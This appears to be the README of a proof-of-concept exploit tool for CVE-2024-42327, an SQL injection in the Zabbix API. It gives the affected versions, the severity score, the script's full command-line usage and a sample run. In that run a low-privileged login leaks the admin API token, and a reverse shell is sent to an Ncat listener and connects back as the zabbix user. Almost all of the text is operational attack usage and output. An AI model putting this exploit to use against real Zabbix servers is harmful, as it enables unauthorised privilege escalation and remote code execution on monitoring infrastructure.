This Proof-of-Concept (POC) can be used to exploit CVE-2024-42327 to leak the admin API authentication token and create an item to achieve a reverse shell on a Zabbix server < 6.0.32rc1, 6.4.17rc1, 7.0.1rc1
A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.
Severity: 9.9 CRITICAL Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
usage: zabbix_privesc.py [-h] -t URL -u USERNAME -p PASSWORD [--listen-ip LISTEN_IP] [--listen-port LISTEN_PORT] [--threads THREADS] [--sleep-time SLEEP_TIME]
[--row ROW] [--length LENGTH] [-a USERAGENT] [-x PROXY] [-v]
POC for CVE-2024-42327 (Zabbix admin API token leak)
options:
-h, --help show this help message and exit
-t, --url URL Zabbix Target URL
-u, --username USERNAME
Zabbix username
-p, --password PASSWORD
Zabbix password
--listen-ip LISTEN_IP
Listening IP / Interface
--listen-port LISTEN_PORT
Listening Port
--threads THREADS Threads
--sleep-time SLEEP_TIME
Sleep time
--row ROW Row index
--length LENGTH Max length
-a, --useragent USERAGENT
User agent to use when sending requests
-x, --proxy PROXY HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag
python3 zabbix_privesc.py -t https://TARGET/zabbix/ -u USER -p PASSWORD
[*] Authenticating ...
[+] Login successful! USER API auth token: d0a05dfe4ce768f62e22bda4057c7c19
[*] Starting data extraction ...
[*] Extracting admin API auth token: af186c156b27a0c3f688b43f58c911c9
[*] Getting host IDs ...
[*] host.get response: {'jsonrpc': '2.0', 'result': [{'hostid': '10084', 'host': 'Zabbix server', 'interfaces': [{'interfaceid': '1'}]}], 'id': 1}
[*] Starting listener and sending reverse shelll ...
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from X.X.X.X:51004.
zabbix@target:/$ id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)